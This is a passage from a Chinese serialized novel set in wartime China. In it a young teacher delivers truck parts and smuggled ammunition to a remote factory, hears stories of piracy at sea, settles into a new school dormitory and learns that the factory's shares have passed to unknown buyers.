刘长寅目光投向她身后的大木箱子,低声笑道:“你这可是大宝贝,要不是我们大老板实在脱不开身,来的就会是他。” 说着,他右手往前虚引,道:“这里我们人头熟。你一路辛苦,不如随我去前边茶摊坐坐,等船安排好后,我们马上走。” 春妮回头看了一眼,笑道:“也好。” 她下船之前,已经趁人不注意,将之前藏在空间里的轮胎和发动机等重要配件都替换进了之前装卡车配件的箱子里。而现在卡车的所有部件都安全地躺进了空间里。 两方之所以选择在丰州交货,都是出于不想曝露温南这个真正出货点这一目的,宁愿麻烦一些,再换两次船。 端看刘长寅带来这么些人,便知他们也是同样的想法。 刘长寅带来的人个顶个精干,春妮在茶摊上买的肉骨茶还没喝完,前头留下来搬货的人已经回话来说,船已经找好,东西也搬了上去,一个钟头之后就出发。 两人吃完饭去看,这是一艘正宗的华国龙骨帆船,船头上却挂着幅英国人的米字旗。 见春妮皱眉,刘长寅看了眼周围的人,道:“船东我认识,是可靠的人。在这一片行船,挂外国人的旗 帜,打主意的人会少一点。” 春妮借机请教他:“那上船后我要注意什么?” 刘长寅笑了笑:“记得睁着眼睡觉。”见她没被吓住,又低声道:“我实话跟你说,粤省沦陷之后,海西军队几乎断了供给。这一年多来,附近海船被劫掠次数比以前十年还多,你猜谁是最大的海盗?万一运气不好,东西丢就丢了,保住性命就好。” 春妮回头看了眼码头上那些穿灰制服的政府军,心中微微生寒。 同样是坐船,易老板跟刘长寅的风格截然相反。易老板极力淡化行程中的安全问题,而刘长寅从上船起,一个接一个的海上劫杀案和海上怪事谈,听得周围人脸色变去变来,春妮看着觉得好玩。 刘长寅却看着春妮更稀奇:“你这小姑娘,怎么都不知道害怕的?” 春妮指着刚刚经过的海城道:“刚刚水下经过的那片暗礁群,不可能潜伏着你故事里说的海兽。是海里的鱼虾不够鲜?海兽要冒着被礁石刮到撞到的风险,等不知道什么时候来的人,再跳出来一口吃掉?” 刘长寅:“……” 他哈哈笑道:“你叫我说这些,到末了,你又不信,这我讲起来就没意思了。” 春妮撇了撇嘴:“是你见识不够吧?” 刘长寅:“小丫头,嘴巴不要这么厉害。行行行,不信是吧?那我就跟你说一套,在咱们海西海盗中间流传极广的唇典。” 春妮大喜:“刘叔你竟会这个?” 所谓海盗的唇典,即是流传在海盗中的黑话。会了这套唇典,能跟海盗们在一定程度上对话,被当成是自己人。可海盗行也是个不能摆上台面的职业,这套黑话,对不是行内人,或曾经当过行内人的人来说,更是神秘非常。像易老板船上有位负责跟海盗对唇典的水手,春妮曾找机会跟他说话,结果他看见她是个女人,竟背过身去,连叫晦气,喊来个小子要给他煮香叶去晦,掩着脸跑走了! 刘长寅揶揄道:“刚刚还是刘老板,这会儿就刘叔啦?” 春妮不好意思:“那不是刚刚跟刘老板不熟悉吗?我本以为您是个多严肃的人。” 刘长寅笑道:“我本来也以为没什么事能难倒你这小姑娘呢。” 玩笑过后,刘长寅认真道:“对这套唇典,我也只是从别人听来的一言半语,并不完全。就我个人的总结,所谓唇典,不过是日常生活衣食住行换了一种说法,若有需要用到的时候,尽量说得压韵顺口,说得对方高兴,让气氛尽量和气,这样才有可能顺利过关。一般说唇典的,还要会当地方言,像你一开口一口官话,人家知道你是个生点子,不带搭理你。对了,生点子,就是生人的意思。” 春妮点头:“知道,我先听着,万一有事遇上了,能蒙两个先蒙两个。” 刘长寅又笑:“行不行,来两手。你这不怯阵的脾气倒跟我们合上了。其实你想讨教这些,拜个水头为师,比什么不快?可惜这些老水头最迷信,看你是个女人,躲都来不及。” 春妮想起在易老板船上的经历,不服道:“搁在六十年前,他们当着郑一嫂面说一句试试。” “你还知道郑一嫂?”刘长寅惊讶。 郑一嫂正是那位曾经率领船队打败过英国舰艇的女海盗,只是离现在年代久远,大伙渐渐都不提了。 春妮笑:“郑一嫂是港城人嘛,你不知道,现在三虎地的妇人们还在用郑一嫂吓唬不听话的孩子。” “是嘛,郑一嫂放在现在,也是个奇女子了……” 如此说说谈谈,原本平淡中有些惊险的旅途也生动了许多。 刘长寅早年曾经出外留过洋,这些年走南闯北,如今虽在海西和温南一带活跃,见识不少。春妮这几天听他说古讲故事,着实了解了不少各地的风俗隐秘故事。 如果说从粤西到丰州这一带,需要应付各路官兵,最考验船东的交际和应变能力,那么从丰州到温南的这一段,考验的就是大船的武装能力。 正如刘长寅所言,海西省和双城政府相去过远,两方物资供给早就断了。海西大小军阀们不得不自谋生路,靠山吃山,靠水吃水……反正,现在一般人没那个胆子往这一带停靠,海匪,而且是有组织有火器,个顶个精悍的“海匪”太多了。 在坐上这艘大船的当天晚上,春妮他们就遇到了一次小规模的火拼。当时数艘海盗船将数百米外的一艘商船围起来正在进行劫掠。如果不是他们这艘船负责嘹望的水手爬上船帆看到不对,及时通知舵手转向,他们就一头撞了上去。 船长当机立断,降下所有布帆,趁对方没反应过来,加速逃离了这片海域。 真像那艘船一样,被海盗包围起来,运气好的,丢点货物,运气不好,船上女眷们都可能保不住。这是内海,海盗们抢劫可能还注意一点,到了外海,女人掳去当货物,男人当奴隶,再凶残一点的,全船男人都杀掉,都是很平常的事。 刘长寅趁机跟春妮科普,古代行船不带女人,除了那些可笑的迷信之外,再有一点,女人也是遭人觊觎的重要物资,的确会有海盗因为船上的女人而冒险行劫。 三天后,抵达治平之时,春妮他们又转了一次船。这次却不是他们有意换船,而是没人敢去温南。 治平位于海西最东边,跟温南相邻,自古以来,温南人凶悍不下海西人,现在温南西边的独目岛还驻留了一队时不时对准温南炮轰的倭国人,按说在这一带航行会更危险。事实也的确如此,现在温南只有那些目标小,行动灵活的舢板敢冒着被炸死的风险进出这片海域。 那些不得不经过的船只,只能像春妮来时乘坐的太古轮船一样,远远绕开。 好在闻老板他们算好春妮到达的时间,带领好几条船,提前在他们必经的海路上等待接货,才没有令这段最后的行程出现大岔子。 即使是春妮,经过这一路的航行,看到船头上站立的闻老板时,也大大松了一口气。 终于到了。 千斤重担终于可以卸下了。 100-110 第101章 101 高兴 不及叙旧, 春妮急着看工厂成立后的样子,催着闻老板先一步回了厂子。 两个月前,春妮跟闻老板两个站在这片荒地前畅想空谈之时, 也没想到, 两个月后,这一片人烟不见一个的荒草甸子路修了,电通了,机器有了,如今连车都快开上了。 至于厂房……平地起高楼说不上,可也简单地盖了一整排土房。 就这,闻老板还不好意思:“太穷了, 这个那个开支完,帐上就没多少钱了。等有钱了再盖砖房放机器。” 他是怕春妮以为自己没好好伺候机器, 在跟她解释。 这年头,机器怕受潮,是比人住得好的。 春妮倒不觉得有什么,两个月能做这么多, 说明闻老板他们的确上了心。温南和海城从人员调配到资源配置,都不是一个等级, 不能强求。 看他们把厂区按照区块划分,运货区跟库存区严格分开,工人们精神饱满, 人人脸上都带着笑,就连竹子也按他们说的甲等乙等严格划分品级分区摆放, 是认真干事的景象。 而竹子旁边,是个露天教室,一身粗布衣裳的舒老师用教鞭指着小黑板一字一字地教:“这是直角, 我们所谓竹材笔直,便是指在这条线和这条线之间的角度达到九十度,歪一点斜一点……” “这是新招进来的一批工人,我们想趁淡季多培养一些出来,等翻过年来就能用。这些工人在能上工前都不付工钱。”闻老板解释说。 这年头识字的人没有几个,在温南这种小地方招工,春妮已经做好了来的工作全部是文盲,要重新开始的准备。 “倒也不必。”春妮道:“可以适当包食宿,回去后我跟方校长说一声,也可以走学校的帐另外拨付。” 他们学校本身就是免费在教学生,没道理到了温南,对自家工人反而更加严格。 闻老板顿时乐开了花,翘起大拇指,赞道:“敞亮,大气。” 春妮笑道 :“这话留着你后边再夸我吧。” 闻老板以为她在说汽车的事,没再深问。直到一个钟头后,看见箱子里的东西,惊得说不出话:“你……你这小丫头,买了这么要紧的东西,怎么不提前说一声?” 闻老板话语中似有恼意,刘长寅望着满箱的弹药,也是半晌回不过神来,刚想帮着解释,便听这小丫头道:“反正也要押车来一趟,索性一起带过来。事前我也没想到会买到枪。这种东西,你让我怎么发到电报上提前说?” 闻老板这才惊觉自己这话听着有些不识好歹,忙道:“我的意思,这东西毕竟犯禁,要是你能提前说一声,我们也好有个准备安排,免得出了岔子。这一箱东西,可不便宜吧?” 春妮一琢磨,闻老板谨慎一些没错。她把东西放在自己的空间里,别人不知道,肯定会为她捏把汗。 因此,也不计较他说话冲人,道:“也不知道你们用的什么枪,这边又不通电话,我估量着买了些,你们把能用的挑出来,剩下的都给我带走。” 因为要先来一趟温南,春妮估计着他们的情况,选的子弹都是偏倭式大正式手|枪,也就是王八盒子,以及三八大盖步|枪的规制。 闻老板粗粗清点一遍,目中带着感激:“都能用,小顾老师,多谢你有心了。”又不是真不识好歹的人,他们从来没拜托过别人帮忙,人家不声不响给你弄来这么箱好东西,这可是真金白银不掺假的! 春妮再掏出一把勃朗宁,将其压到那箱弹药的最上方:“欧洲要乱起来了,以后想获取弹药可能更难,正好这次有机会,一共弄了这么些。” 闻老板正要说话,春妮摆摆手,道:“这也是我的私心,希望你们本事大一些,我们工厂的安全保证也大一些。这些从海城来的工人,每一个我都亲自教过,闻老板你可要都给我护好了。” 闻老板将手里把玩的那把勃朗宁放下,眼神认真:“我知道,你是不想让我欠你人情。不管怎么说,你能在这个时候想到我们,还冒着风险为我们送来这东西,这份情,我老闻认了。但钱不能让你出,老刘,你点点帐上的钱——” 见春妮要开口,他摆摆手:“你听我说完。我付你钱,也有我的私心。实话不瞒你,你送来的这东西,有多少我们都不嫌多。可惜以往一来没有安全渠道,再者,我们是真没钱。所以说,往后要有能拣的漏,也要请你帮忙留意,关键时候想想咱们这些温南的穷亲戚。” 这春妮就为难了:“可我不是说过?这次也是机会合适,我不是做这个的,你也知道。” “这个不要紧,你记着就好。”闻老板笑得有点狡猾:“你收了钱,我们再要东西也好提要求不是?” 春妮:“……那是我这次买的东西不对?” 闻老板心里一松:她没说不,那就是答应了。这姑娘脸硬心也硬,可不好打动。好在是个有胆有识,还有情义的好姑娘。一旦被她认可,对人可不是一般的好。 这一点,先一步来温南扎根的老师和工人都对她交口盛赞。 他笑着道:“倒也不是。但港城,海城,那是什么地方,所有从外洋来的好东西都要从那走。如果以后你再碰到好东西,记得给我们留意留意。让你提前说一声,是怕你这里钱不凑手,咱们也好一起想办法不是?” 春妮知道他是不付钱不安心,因此道:“那闻老板你要是有心,付我两百块钱就好。剩下的钱,给我那些学生们买些好吃的补养补养也算全了我的心意。”她这样说话,意思是这些枪火弹药全是她私人掏钱, 闻老板心道,这份情果然是欠大了。 他却不知道春妮在港城转过这一圈,已经对将来抗战环境的艰难有了些预料。 即使现在,国际社会谴责倭军侵华的同时,对对华出售的武器仍作出了相当严厉的限制。那帮西方人只是想借这件事对倭人占据道德制高点,最多扼制一些其发展势头,倾销一点低端军武,不是希望华国真的就此翻身。以前政府军还能从德国人手里弄点真东西,欧洲战争开始之后,德国人兼顾本土战场,恐怕不太可能了。 闻老板他们躲在崇山峻岭中,跟倭国人正面交战的机会不多,获取弹药的机会更少。若不是考虑到这一点,春妮也不会临时起意,买这些东西。 闻老板是知道行情的人,同样的军火在港城和温南价钱就不同,在土匪手里跟军火商手里又不同。其实有时候在港城明码标价反而更贵,不是很特殊的东西,他们自己能想办法,没必要去港城花高价买。 因而知道春妮这个价钱最多只能买两把枪,真心实意道:“小顾老师,你这份心意,该让那帮猴崽子都知道,等会儿我叫他们过来,叫他们好好听你说说话。” 即使春妮这样冷性子的人,听见闻老板的话也高兴了一会儿:好歹这是她第一次教出来的学生,放他们走了两个多月,心里多少都会惦记。 她兴致勃勃地道:“正好我这回给他们带了东西来,要没事的话,赶紧把他们叫过来吧。” 闻老板出去后,一时,屋外头响起工人们的欢呼声。 春妮这些才教了一年不到的学生们开心地涌进来:“小顾老师,你怎么来了?” “小顾老师,你来怎么不提前说一声,我们好去码头上接你?” 春妮挨个看过去,这群学生都是在干活途中被叫出来,自然不可能干净到哪里去。但那饱满的精神面貌,挺直的腰板和洪亮的嗓门,无不一说明了,他们在这里没受到什么委屈,过得很好。 至少不是像纱厂女工那样,在工头面前唯唯喏喏,说话都不敢大声。 春妮这个拍拍肩,那个摸摸头,挨个儿看过来,一个一个发礼物:“给你们带了双手套,干活的时候记得戴上,保护好双手,算是我这个做老师的点心意。” 学生们乐开了花:“多谢老师。” “小顾老师还是那么大方,知道我们想要什么,马上就送来了。” 屋里师生欢聚一堂,屋外头闻老板跟刘长寅两个站在门口,刘长寅拐拐他胳膊:“我没说错吧,小姑娘是个难得的苗子,真的不要错过。” “再看看吧。”闻老板吸完最后一口烟,将烟头扔在地上,道:“太厉害了,我们什么都没说,她却猜得差不多。这样的小姑娘身边没有人教,万一走错了路,破坏力也是不可想象的。目前这样的距离,我认为正好,她自己也觉得舒服,不是吗?” “怎么会没有人教?不是有——” 闻老板拍拍他的肩:“不信我的话是吧?不信你等着瞧,等她回海城你就知道了。” 这场私下的对话没有传入第三人的耳中,春妮开开心心地见完学生,在吃午饭时见到了舒老师。 她原以为舒老师会很不适应这里的生活,但这样的想法在舒老师拉着她去看他新建起来的实验室时,烟消云散了。 “这些滑轮都是刘老板帮我从各地找来的,还有,你看这是什么?电机!没想到吧,刘老板给我从里找到了一台旧电机,这下我在海城中断的研究终于可以继续了。对了,小顾老师,你下次什么时候来?能不能给我带块蓄电池,这里没有。放心,钱我出,不会让你吃亏……” 春妮:“……”行吧,舒老师这个研究型人才算是遇到了伯乐,只要管理方肯给他宽松的研究环境,他自己就能克服所有困难,将沙漠变成绿洲。 不知道闻老板他们用什么办法激励的员工,如今的环境虽然比起海城困苦太多,可每个人那十足的干劲已经让春妮足够放下心来。 于是,等到五天后,汽车组装完毕,温南分厂培训的两个司机都能顺利地开着车上山下山,连只在头一天露了一面,之后不知道钻到哪去,直到最后一天才出现的闻老板都学会了踩油门,春妮终于再度告别温南,终于踏上了回海城的路。 第102章 102 邀功 春妮没想到, 只是出了趟差,再回来,自己家都没了。 说错了, 是学校的宿舍楼已经盖好, 她是搬了,她又搬了家。不过那会儿她在港城,打电话太贵,夏风萍没跟她说,就先作主将原先出 租屋里的东西给她搬了一部分来占位置。 夏风萍这会儿正好没课,拉着春妮站在新宿舍里跟她邀功:“要不是我下手快,这么好的房子可轮不着你, 快夸夸我。” 校长这回盖的宿舍楼虽然打的地基很深,足够盖五六层楼, 可真正盖完,并交付使用的,才只有两层,样式有点像过去老式工厂家属院里的筒子楼。 眼下已经九月中旬, 再过段时间,天气冷下来, 学校里有相当一部分学生露宿在街头,说不定跟去年一样,就要有人冻死。因此, 校长他们赶着将楼先盖两层起来,用作学生的宿舍楼。 为什么春妮能搭上这一班顺风车, 除了夏风萍积极为她争取,她那天打的那个乌龙电话也起到了不小的作用。 夏风萍是这么跟她说的:“那天我们本来在开会,讲房子分配的事。中间你打这一通电话, 韩厂长出去接完,过来一说,可把大伙吓坏了。虽说后边我们都弄明白,是韩厂长误会了。但当时校长心里很过意不去,在会上就哭了,说学校把这么大的担子压在你头上,对不住你,你明明该跟那些学生们一样,坐在教室里听老师讲课,受老师庇护,如今为了养活一学校的人,抛下弟弟在外边奔波千里,不知道冒多大的风险。这房子盖完后不管原先要做什么,怎么也得先给你分一套,住到学校总比住石库门安全。” 春妮住的闸口路因为毗邻倭国人聚居区,尽管这里明面上还是英国人辖区,他们却经常被倭国巡捕以各种名义骚扰摊派,出了事又不管,治安早就成了问题。正因如此,那边房租相对于整个公共租界,才那样便宜。 “那是老师们有意见了?” “那倒不是。”夏风萍笑了:“我多机灵啊。下完班趁其他人没反应过来,把泥瓦匠找来,让他抢先沿着这边砌了两面墙,给你隔了个大套,你不好好谢我?” 春妮一双眼睛从房子这边看到那边,开心得不住点头。夏风萍所谓的大套,粗粗看下来至少有三四十平,有她们两个先前合租那间客堂的两个大。 这间大套被夏风萍给她隔出里外两个套房。外边的小套房客厅饭厅一体,里边的则用木板隔成两间,留一个窗户共用,春妮住里头,夏生住外头,都可以说是一室两厅了。 春妮早知校长对房子的规划,知道他盖完后他打算留间房子给宿管住之外,老师们的住房要求先放在后边。怎么也没料到,这馅饼竟会落到她头上。这回的确是亏了夏风萍,遇见什么好事马上想到她,她这个好朋友当得真没得说。 “行,明儿个我请你去吃淮扬菜大餐!”说罢,春妮又有些担心:“我一个人这么特殊,大伙会不会心里有意见,没说啊?” 不是她婆婆妈妈地一定要问清楚,而是这年头,有一套新房子,还是免费的房子住,太扎眼了。老师们平时关系再好,遇到这样事关切身利益的事,像夏风萍这样大方的不指望,能保持平常心的都很少吧。 她跟夏风萍合租个套房,每个月都还要出十多块钱的房租和杂捐,现在有些老师一个月的薪水都还没有十几块呢。 夏风萍下巴一扬:“他们也好意思!你住进来还能帮着保安队训练,有了事比个大男人都不让。其他人,不是我瞧不起,肩不能扛手不能提的,遇到事他们能想你一样提枪就干吗?你别犯傻说不要啊,现在有这么套房子住,不容易的很呢。再说了,韩老师和胡老师我们这几个老人都没说话,其他人有什么资格挑理?” 看来是真有人说了酸话。现在学校里人越来越多,林子大了,什么鸟都有。 常先生和张先生办校之初,不知从哪招来的老师,每个老师德行都俱佳。现在的学校因为急速扩张,已经不是只有六个老师,人人都体谅谦让同事的和谐环境了。 意料中的事,到嘴的肉,春妮可没那么好心,再吐出来。 她笑道:“你看我长得像菩萨吗?”说完,她想起一件事:“那我要走了,你一个人住那间房子,租得下来吗?要不,你还是搬过来跟我一起住吧。” 这话春妮说得真心实意。 跟夏风萍住了这么久,虽说会有些小矛盾,但两个姑娘天天一起上班,一起下班,做什么都有商有量的,春妮相当于多了个能依靠的姐妹。这下毫无心理准备地要分开,春妮心里很舍不得。 夏风萍却摇了摇头,道:“我就不住了。这套房本来是我抢来给你住的,要是我住了进来,保不齐有人会说我假公济私,我又不是没房子住,没必要受这份气。” 夏风萍自来不是斤斤计较的姑娘,她看中名誉远甚于私利。春妮也不愿意让她一片好心受人诋毁,问道:“那你准备找谁合租?” “不合租,”夏风萍笑道:“我还没跟你说,我帮舒老师他们翻译的文献寄到美国的一个科研杂志发表,我也要有稿费了!” “真的?”春妮替她高兴:“是什么杂志?有多少稿费?” “是一个物理学科的杂志,稿费不高,一百块钱,我,舒老师还有刘老师李老师几个老师平分,也有二十块钱呢。” “二十块?”春妮习惯性换算成了银元。稿件飘洋过海地寄过去,都不止花了二十块吧。 “想什么呢,美金,二十块美金!”夏风萍发现自己忽略了重点。 这还差不多。 春妮换算了一下,她几天前刚刚在港城的花旗银行兑换过美金,知道现在美金对法币大概是1:12的汇率,但实际上,几乎没有人能真正按照这个比例,拿着法币在银行兑换到相应数目的美金。 自从倭国人强行在北边沦陷区发行没有准备金和信用制度,不与任何货币挂钩的联银券,再用联银券兑换的法币到外国银行兑换外币之后,这个汇率早就变成了一个帐面数字。【注】 要是用美金换法币,倒是有这个可能。可不是急着用钱,谁会做这亏本生意?现在五块钱法币未必能换到一块钱大洋呢,何况美金。 照现在恐怖的通货膨胀率,二十块美金,兑成法币,说不定不用挺到年底,都不够付一个月的房租了。 因此,她叮嘱道:“你不会是想兑换出来吧?现在兑换可不划算。” “我知道,我又不傻。”夏风萍抬起下巴:“我就是想跟你得瑟得瑟。姐姐我也是不赖的吧?” 春妮:“……” 夏风萍欣赏了一会儿她的脸色,嘿嘿笑了两声,道:“好了,不跟你开玩笑了。”她面颊忽然飞上两朵红云,忸怩道:“家辉向我求婚了。” 朱先生全名叫朱家辉。 春妮对朱先生的感觉非常复杂。 如果没有一年多前春妮的那次意外偷听,朱先生细心热情,又不失绅士风度,真是个非常不错的朋友。看得出来,他也是个非常不错的男朋友,但春妮先入为主,始终对他心存一丝戒心。 后面她几次试探,只能确定,朱先生对外的立场没有问题。夏风萍跟朱先生两个天天腻歪在一起,感情不降反升,春妮早就有了心理准备,他们会走到这一步。 这个年代根本不会有恋爱长跑这种说法,合则来,不合则散,相当平常。甚至有思想解放的革命先锋们跟朋友们摆一桌酒,就宣布结了婚。过段时间发现不合适,又宣布分开,跟其他人在一起,这也不稀奇。 他们两个一年多没结婚没同居,已经是很能拖的了。 事实上,如果不是夏家的两位父母盯得紧,加上春妮耳提面命,让她多考察考察朱先生,别轻易做决定,夏风萍真的干得出来摆桌酒就结婚 这种壮举。 一年多来,春妮该提醒她的,也委婉提醒过了,现在只能送上自己的祝福,并开玩笑道:“那你以后有了合法权力,不是更能好好欺负朱先生了?可算是有个能被你可劲祸祸的人了。” 夏风萍这会儿早过了羞涩劲,反将了她一军:“那这就是我们夫妻间的事了,跟你这个小屁孩有什么关系?” “你父母呢?也答应了?” 夏风萍得意一笑。 这春妮没想到,一个暑假过去,事情起了那么大变化,朱先生搞定了夏家父母。要知道,夏家父母不想女儿受苦,对朱先生的经济状况一直相当不满意。 朱先生不是海城本地人,据说家境也一般,朱先生每个月有一半的薪水还要寄回老家呢。要不是朱先生有门路,能写一些稿件投稿赚点外快,他日子过不了这么轻松。 春妮暗地里猜测,这事,可能跟朱先生有“兼职”也有关系? “对了,不是说房子?你们准备结婚后住我们住的那间房?” 春妮觉得,自己就像个要嫁闺女的老妈子似的,事事都要过问才安心。 说到这个,夏风萍却目露纠结,道:“我正为这事烦心,要不,你给我参谋参谋?” 第103章 103 卖了 春妮作出洗耳恭听的态度。 夏风萍道:“我爸说, 等我们结婚后,他把几年前在昌平路买的房子给我当嫁妆。我在想,结婚后是住昌平路, 还是住在原来的地方。”昌平路在他们现在住的闸口路隔街, 正宗的英租界领域,从治安到环境,比他们现在住的闸口路不知好到哪去了。 对了,海城并没有专属的英租界,海城人嘴里的英租界,指的是海城公共租界确凿无疑的英国人地盘。昌平路闹中取静,环境在整个租界区都是最好之一。 春妮:“……”告辞。 她道:“这有什么好烦心的?有免费房子不住, 去租房住,嫌钱多烧的?这么想给房东做贡献?还是……朱先生心里有疙瘩, 不愿意住岳父家房子?” “那倒不是,家辉不在乎这些。”夏风萍是真的愁:“那房子有三层楼呢,我们两个人哪住得了?家辉要是哪天不在家,我一个人住着, 想想就害怕。” 春妮一掌薅开她:“一边儿去。” 她回来这会儿,亲弟弟都还没来得及见呢, 真是闲得慌瞎操心。 ………… 刚刚回校的春妮跟上次一样,受到了老师们的热烈欢迎。跟夏风萍说完事,没有课的老师们开始一拨一拨地上门。 跟上回劫后余生, 大伙为她庆幸不同,老师们这次这么热情, 多数是因为,她行李里带的那一卷一卷丝袜和化妆品小样。 这本来就是春妮答应给她们带回来贩卖的,此时便照价给了她们。 “一双丝袜七毛钱都不到?也太便宜了吧?”王老师在春妮刚分到的房子里, 也不嫌弃没地方坐,捧着丝袜爱不释手。 胡老师直点头:“就是,我表姐前天去永发百货,买的跟这双一样,要三块呢,还差点没抢到。”又说:“小顾老师,你该收我们多少收多少,这么远带回来,我们该给你些辛苦费的。” “不差你们这点,”为了不让人起疑,这些样小她一路背过来,如今腾空一大半,连心里都轻松了好多,笑道:“丝袜也不占地方,顺便的事。这些雪花膏口红,你们捡点需要的拿,如果想卖的话一会儿跟丝袜一起结帐。” 两人一阵欢呼,已婚的王老师毫不羞涩,给了春妮一个拥抱:“小顾老师,你真是我们学校最可爱的姑娘。” 胡老师则夸张惊呼:“哇,maxfactor的粉饼你都有,小顾老师你太厉害了。” 两人知道她一向有门道,不靠这点女人的小东西回血,胡老师就问她:“你什么时候搬家?我到时候来帮你。” 王老师也说:“我们家有个不用的旧煤球炉子,我明天拎过来给你,马上要冬天了,你正好用得上。” 几个女人说说笑笑,不一会儿又来了人,看到她一包裹的东西,这些姑娘们登时都疯了:“小顾老师,这些都是给我们带的吗?你简直是天使!” 即使日子困顿得吃饭都艰难,也拦不住这些姑娘们的爱美之心。 她们将春妮包里,包括香水在内的东西刮分一空,连她放在夹层里的香皂都没放过,终于心满意足地离开了。离开时,哼着小曲,扭着猫步,一个个跟过年似的。 春妮好不容易挣脱这群姑娘的魔爪,此时一脸余悸地拍胸,却见胡老师正默默帮她收拾桌上残局,并没有跟着离开,不由有些诧异:“胡老师,你还有什么事吗?” 胡老师小声道:“也没什么事。我就是想问问,小顾老师,你这次见到舒老师了吗?” 春妮去港城的事,大伙都知道。但她见到舒老师是秘密的,因为学校到现在都还瞒着大部分师生开分厂的事。即使有人知道,也不会知道分厂设在温南。 学校这么做,一则是为了避免麻烦,毕竟国统区跟沦陷区有交集,很容易扯出许多暧昧不清的事,为学校招来麻烦。再则,闻老板的身份也经不起细究,万一被人嗅到不对,学校,尤其是她和尹老师,就要跟着倒大霉。 所以说,不是有业务需要,又经过考验的自己人,不可能知道舒老师在温南。学校在工部局备案的分厂是将厂址设在明州,帐目也跟明州商行对接,明面上跟温南没有任何关系。 胡老师负责印刷室,她跟玩具厂又没有交集,是怎么知道的? 春妮心里一惊,反问道:“我去了哪,胡老师不是知道吗?” 胡老师就很失望地叹了口气:“我还以为,你们去港城,会顺便去温南探望舒老师。” 她说得很坦荡,应该不知道这里边的关窍。春妮便问她道:“胡老师,你怎么说舒老师在温南?” “我那天经过鲁师父工作间门口,听他跟他徒弟聊天听见的。”胡老师不在意地道:“难道不是吗?” 鲁师父,是玩具厂成立之初,跟郑经理一起招进来的木匠师父。 他原本负责为学校制作精细部件,顺便代春妮教授木工课。只是后面玩具厂的定位和业务变化,学校对于精细玩具的制作需求不再那么迫切,春妮这个总工也没有抽出时间设计新玩具。他领着原本的两个徒弟和几名学生分到一间木工室,做了一些发条玩具,儿童车和风车,也有一些成绩。 只是,这些精细玩具除了发条木头车之外,都没什么新意,又限于产量提不起来,相比多米诺和凉席的辉煌,显得有些黯然失色罢了。 鲁师父? 春妮心里打了个突,淡笑道:“你听他们瞎说,舒老师去的地方跟港城又不在一起,我没事绕路看他干什么?” 胡老师心思单纯,“哦”了一声,低头不说话了。 春妮这下存了心,仔细观察胡老师,见她满脸晕红,忸忸捏捏的,那副神态就跟一个钟头前才跟春妮说过话的夏风萍一个样。 春妮:“……”看不出来啊 ,胡老师竟然暗恋舒老师那样的书呆子。她还以为像韩老师那样仪表堂堂,说话做事越来越有章法的男人更有行情呢。 胡老师默默坐了会儿,春妮看她既想打听,又说不出口的样子,都替她着急。 越坐越尴尬,好在这时候,方校长在外边叫她:“小顾老师,等你半天了,怎么回来都不知道汇报工作的?” 胡老师忙站起来:“你还有事啊?那我先走了,你去忙吧。” 送走胡老师,春妮跟方校长就没那么客气了:“您着急什么?我又跑不了,这不就来了吗?” 方校长先仔仔细细将她由上到下打量一遍,摇头道:“瘦了,黑了。你师母今天买了大闸蟹给你接风,记得放学后来家吃。你这孩子,可得好好补补。” 听见“大闸蟹”这三个字,春妮嘴里忍不住泌出了口水:她上回吃大闸蟹,还是一年前的事。校长这句话,让她终于生出“秋天来了,她终于回到海城了”的实感。 她眉开眼笑道:“都有钱买大闸蟹给我接风了,校长,您这小日子是过得越来越好了哇。” 方校长就瞪了她一眼。 春妮:“……” 她猜可能还是在港城她胡说八道惹的事,不敢再皮下去,赶紧闭嘴当自己没说过话。 方校长 叫她提醒,却想起了正事,又瞪她一眼:“你干的好事,害得帐上到现在还在打饥荒。” 春妮能怎么办?这批货是必须囤的。这个年代的钱不是钱,像黄金白银,粮食棉花石油,乃至西药这些保值物资才是最扛用的钱。 她只能嘿嘿笑,转移话题:“对了,我回来这么久了,还没见到夏生。夏生呢?” “这不是新学期招了新学生吗?”方校长说:“我干脆让学生们全部再去监狱那边都参观一遍,再来上课。要读书识字,先学会做人,免得再培养出赌徒恶棍。” 白云铠堂堂政府军的大营长真成了他们学校的编外政治老师。 严广福这事伤得校长不轻,春妮知道校长的心结,却不知道怎么宽慰他,默默陪着他走了一段路。 校长感怀片刻,终于想起来问她:“你这真没有现钱了?月底学校老师和股东都等着发钱,前两天王老师拿新催收来的货款给老师发了一部分薪水,但明州每个月拨一大笔,我们盖房子用了一笔,你又要走了一笔,股东们的钱还不知道从哪找出来发给他们。本来学校准备少说盖三层楼,这回也盖不了了。不过盖楼咱们可以自己商量着慢慢来,紧要先别欠人家的钱,想想怎么发钱吧。” 春妮这才想起来,工厂跟股东约定的是每个季度分配一半利润,剩下的利润每半年分配一次,九月份过后,便是股东一年中第三次利润分配时间。 不过,有个问题,春妮注意到了:“您说‘股东们’,咱们的股东不是只有高大海高大爷一个人吗?高大爷一向为人豪爽,一月份咱们跟他借钱,他都爽快借了。三月份因为资金都押在机器和厂房改造上,只给了他两成分红,他也同意了。这次好好跟他说,他肯定不会不帮忙。” 方校长甩出个重磅消息:“高大海把玩具厂的股份卖了。” “什么?他疯啦?柯莱恩警长抢都抢不来的好东西,他说卖就卖了?” 方校长就叹了口气:“谁说不是呢?我也劝过他。他说,他家里人多,原本以为工部局引进越南米不会这么快,想赶着外国米进来前先再捞一笔。人哪,还是不能太贪。高大海是面粉囤多了,资金周转不过来,那边要债的人天天去他家堵门,还有人绑了他儿子逼他还债。咱们工厂的股份最好出手,他只能卖了股份先救急。” “怎么这么快就到了这一步……”春妮半晌回不过神。 她知道高大海卖房子的消息,还曾想借机买回自家工厂的股份。可人家也不傻,当然没答应。她离开海城前,对方每天还押着粮车,带着帮闲在她摊子前点卤鸡爪吃,这么牛气的人,突然就不行了。 眼看他起高楼,眼看他楼……他高大海楼塌没塌,春妮不知道。但短短数个月,一个人人生可以这样大起大落,这让她有一种置身于滑稽戏的幻梦感。 方校长叹道:“这海城啊,装着多少人的淘金梦,就让多少人梦断魂消。” “那我们的新股东是什么人?”半晌,春妮才想起来问。 第104章 104 股权 高大海原本拥有工厂一半的股份, 他将这部分股份拆分,卖给了三个人。 一个姓赵,叫赵发财, 同样是个粮商。高大海用10%的股份抵了他在赵发财手里借的帐。另一个叫何意升, 是个船商,高大海用5%的股份同样抵了欠款。最后一个叫连德江,干什么的不清楚,他包揽了高大海手里剩下35%的股份。三名股东中,连德江全程派手下跟高大海签的合同,整个人都没露过面,是股东中最神秘的一位。 按道理说, 学校不该对自己的股东一无所知。因为在合同签订之初,学校为防此类事件发生, 